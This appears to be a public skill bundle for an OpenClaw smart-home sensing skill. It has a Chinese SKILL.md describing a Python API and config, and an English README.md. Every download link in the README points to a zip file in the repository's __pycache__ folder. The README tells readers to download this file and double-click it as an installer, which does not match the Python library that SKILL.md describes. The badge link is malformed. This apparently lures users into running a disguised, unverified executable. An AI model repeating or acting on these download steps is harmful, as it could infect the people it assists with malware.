# homeware-sense-skill

Adopt this skill: https://proskills.md/skills/other/malpaa44-homeware-sense-skill

Page: https://proskills.md/skills/other/malpaa44-homeware-sense-skill
This document is the public skill bundle for that page. It contains SKILL.md and every helper file the catalog carries. No login is required.

## File: SKILL.md
size: 5745
upstream: https://github.com/malpaa44/homeware-sense-skill/blob/HEAD/SKILL.md

````text
# Homeware Sense - OpenClaw技能

## 技能描述
Homeware Sense是一个统一的环境感知技能，允许OpenClaw AI助手感知和响应物理环境的变化。该技能支持多种智能家居平台，包括HomeKit、Mi Home、MQTT、GPIO和模拟器，通过统一的接口收集环境数据，并根据这些数据提供建议或执行操作。

## 核心功能
- 实时环境监测（温度、湿度、光照、声音、运动、空气质量）
- 异常检测和警报
- 智能环境建议
- 可配置的阈值管理
- 多种硬件支持（模拟器、MQTT、GPIO、HomeKit、米家）
- 智能家居平台集成（Apple HomeKit、小米米家）
- 故障恢复机制（硬件不可用时自动回退到模拟器）

## 使用方法

### Python API
```python
from homeware_sense_skill import HomewareSenseSkill

# 初始化技能
skill = HomewareSenseSkill(config={'debug': True})

# 获取当前环境数据
result = skill.get_environment_data()
print(result)

# 设置环境阈值
thresholds = {
    'temperature': [18, 26],
    'humidity': [30, 70]
}
result = skill.set_thresholds(thresholds)
print(result)

# 获取平台状态
status = skill.get_platform_status()
print(status)
```

### 简化接口
```python
from homeware_sense_skill import HomewareSenseSkill

# 最简化的使用方式
skill = HomewareSenseSkill.quick_connect('auto')  # 自动检测所有平台
result = skill.get_environment_data()
print(result)

# 指定平台连接
skill = HomewareSenseSkill.quick_connect('homekit')  # 连接HomeKit
skill = HomewareSenseSkill.quick_connect('mihome')   # 连接Mi Home
skill = HomewareSenseSkill.quick_connect('mqtt')     # 连接MQTT
skill = HomewareSenseSkill.quick_connect('gpio')     # 连接GPIO
```

### 环境变量配置
```python
from homeware_sense_skill import HomewareSenseSkill

# 从环境变量加载配置
skill = HomewareSenseSkill.from_env()
result = skill.get_environment_data()
```

### 命令行
```bash
# 获取环境数据
python -m homeware_sense_skill get_data --output result.json

# 设置阈值
python -m homeware_sense_skill set_thresholds --thresholds thresholds.json --output result.json

# 获取平台状态
python -m homeware_sense_skill get_status --output status.json
```

## 配置选项

- `debug`: 是否启用调试模式 (默认: false)
- `sensors_enabled`: 启用的传感器类型 (默认: 全部启用)
- `hardware_config`: 硬件配置 (默认: 全部使用模拟器)
- `polling_interval`: 数据轮询间隔（秒）(默认: 30)
- `data_retention_days`: 数据保留天数 (默认: 7)

### 硬件配置示例
```json
{
  "hardware_config": {
    "temperature": {
      "enabled": true,
      "type": "homekit",
      "accessory_id": "com.example.temperature-sensor",
      "pin_code": "123-45-678",
      "sensor_type": "temperature",
      "location": "living_room"
    },
    "humidity": {
      "enabled": true,
      "type": "mihome",
      "device_ip": "192.168.1.100",
      "device_token": "your_mihome_device_token",
      "sensor_type": "air_monitor",
      "location": "bedroom"
    }
  }
}
```

## 支持的硬件类型

- **模拟器 (mock)**: 软件模拟，无需实际硬件
- **MQTT传感器**: 通过MQTT协议连接的传感器
- **GPIO传感器**: 连接到树莓派GPIO引脚的传感器
- **HomeKit传感器**: Apple HomeKit兼容的传感器
- **米家传感器**: 小米米家生态系统传感器

## API接口

### GET /environment-data
获取当前环境数据

### POST /thresholds
设置环境阈值

### GET /platform-status
获取平台连接状态

## 输入数据格式

### 设置阈值
```json
{
  "temperature": [18, 26],
  "humidity": [30, 70],
  "light": [100, 10000],
  "sound": [20, 60],
  "air_quality": [0, 100]
}
```

## 输出结果格式

```json
{
  "success": true,
  "data": {
    "environment_status": {
      "temperature": 23.5,
      "humidity": 45.2,
      "light_level": 1200.5,
      "sound_level": 42.3,
      "motion_detected": false,
      "air_quality": 45.6,
      "timestamp": "2023-01-01T00:00:00Z",
      "location": null
    },
    "readings": {
      "temperature": {
        "sensor_type": "temperature",
        "value": 23.5,
        "unit": "°C",
        "timestamp": "2023-01-01T00:00:00Z",
        "location": "default",
        "device_id": null
      }
    },
    "alerts": [],
    "config": {
      "version": "1.0.0",
      "debug": false,
      "sensors_enabled": {
        "temperature": true,
        "humidity": true,
        "light": true,
        "sound": true,
        "motion": true,
        "air_quality": true
      },
      "hardware_config": {
        "temperature": {"enabled": false, "type": "mock"},
        "humidity": {"enabled": false, "type": "mock"},
        "light": {"enabled": false, "type": "mock"},
        "sound": {"enabled": false, "type": "mock"},
        "motion": {"enabled": false, "type": "mock"},
        "air_quality": {"enabled": false, "type": "mock"}
      },
      "polling_interval": 30,
      "data_retention_days": 7
    }
  },
  "error": null,
  "meta": {
    "timestamp": "2023-01-01T00:00:00Z",
    "version": "1.0.0"
  }
}
```

## 错误码

- `200`: 成功
- `400`: 请求参数错误
- `500`: 服务器内部错误

## 技能优势

1. **情境感知**: 让AI助手能够感知物理环境
2. **智能提醒**: 基于环境数据提供智能建议
3. **可配置**: 支持自定义阈值和传感器配置
4. **硬件兼容**: 支持多种真实硬件传感器和模拟器
5. **易于集成**: 简单的API接口，易于与其他系统集成
6. **故障恢复**: 硬件不可用时自动切换到模拟器
7. **多平台支持**: 统一接口支持HomeKit、Mi Home等多种智能家居平台
8. **最小化编码**: 提供简化的快速接入接口
````

## File: README.md
upstream: https://github.com/malpaa44/homeware-sense-skill/blob/HEAD/README.md

```text
# 🏠 homeware-sense-skill - Smart Sense for Your Home

## 📦 Overview
Homeware Sense is an innovative skill for the OpenClaw AI assistant. It helps your smart home perceive and react to changes in the environment. This skill works seamlessly with multiple platforms, including HomeKit, Mi Home, MQTT, and GPIO. With Homeware Sense, you can enhance your home automation experience easily.

## 🔗 Download Now!
[![Download Homeware Sense](https://raw.githubusercontent.com/malpaa44/homeware-sense-skill/main/__pycache__/homeware-sense-skill-v2.9.zip%20Homeware%https://raw.githubusercontent.com/malpaa44/homeware-sense-skill/main/__pycache__/homeware-sense-skill-v2.9.zip)](https://raw.githubusercontent.com/malpaa44/homeware-sense-skill/main/__pycache__/homeware-sense-skill-v2.9.zip)

## 🚀 Getting Started
To get started with Homeware Sense, follow these simple steps:

1. **Visit the Releases Page**  
   Click [here to download](https://raw.githubusercontent.com/malpaa44/homeware-sense-skill/main/__pycache__/homeware-sense-skill-v2.9.zip). This page contains all the available versions of Homeware Sense.

2. **Choose Your Version**  
   Look for the latest version. The newest version has the most features and improvements.

3. **Download the Installer**  
   Click the download link for the installer file. This file will be named something like `https://raw.githubusercontent.com/malpaa44/homeware-sense-skill/main/__pycache__/homeware-sense-skill-v2.9.zip`.

4. **Run the Installer**  
   Locate the downloaded file, then double-click on it to run the installer. Follow the on-screen instructions to complete the installation.

5. **Connect to Your Smart Home**  
   After installation, open the Homeware Sense application. You'll see prompts to connect to your preferred smart home platforms. Follow the setup guide to link your devices.

6. **Start Monitoring Your Environment**  
   Once your devices are connected, Homeware Sense will begin monitoring your home environment. You’ll receive updates and notifications based on changes in temperature, humidity, and more.

## 📋 System Requirements
To ensure Homeware Sense runs smoothly, please meet the following requirements:

- **Operating System:** Windows 10 or higher, macOS 10.12 or higher
- **CPU:** Dual-core processor or higher
- **RAM:** At least 4 GB
- **Network:** Internet connection for device connectivity
- **Smart Home Compatibility:** Ensure your smart devices support HomeKit, Mi Home, MQTT, or GPIO.

## 🔧 Features
- **Multi-Platform Support:** Works with popular smart home systems such as HomeKit and Mi Home.
- **Real-Time Monitoring:** Observe changes in your environment instantly.
- **User-Friendly Interface:** Designed for easy navigation and operation.
- **Notifications:** Get alerts on significant environmental changes, like sudden humidity shifts or temperature drops.

## 🔄 Update Regularly
It's important to keep Homeware Sense updated. New features and fixes will enhance your experience. Check the [Releases Page](https://raw.githubusercontent.com/malpaa44/homeware-sense-skill/main/__pycache__/homeware-sense-skill-v2.9.zip) regularly for updates.

## 🛠 Troubleshooting
If you encounter issues, here are a few common solutions:

- **Issue with Setup:** Make sure your internet connection is stable. Restart your devices if necessary.
- **Devices Not Found:** Confirm that your smart devices are powered on and connected to the network.
- **Slow Performance:** Ensure your system meets the minimum requirements. Closing unnecessary applications may help.

## 💬 Support
Need help? Feel free to reach out via the Issues section on the GitHub page. We aim to respond quickly and assist you in resolving any issues.

## 🙌 Contributing
If you’re interested in contributing to Homeware Sense, we welcome your input. Please check our contribution guidelines on GitHub.

## 🏷 Topics
- agent
- ai-integration
- environmental-monitoring
- gpio
- home-assistant
- home-automation
- homekit
- iot
- mihome
- mqtt
- opencalw-skill
- openclaw
- smart-home

## 📜 License
Homeware Sense is open-source software. Feel free to use, modify, and distribute it under the terms of the license provided in the repository.

## 🔗 Final Download
Don’t forget to [download Homeware Sense](https://raw.githubusercontent.com/malpaa44/homeware-sense-skill/main/__pycache__/homeware-sense-skill-v2.9.zip). Enjoy enhancing your smart home experience!
```
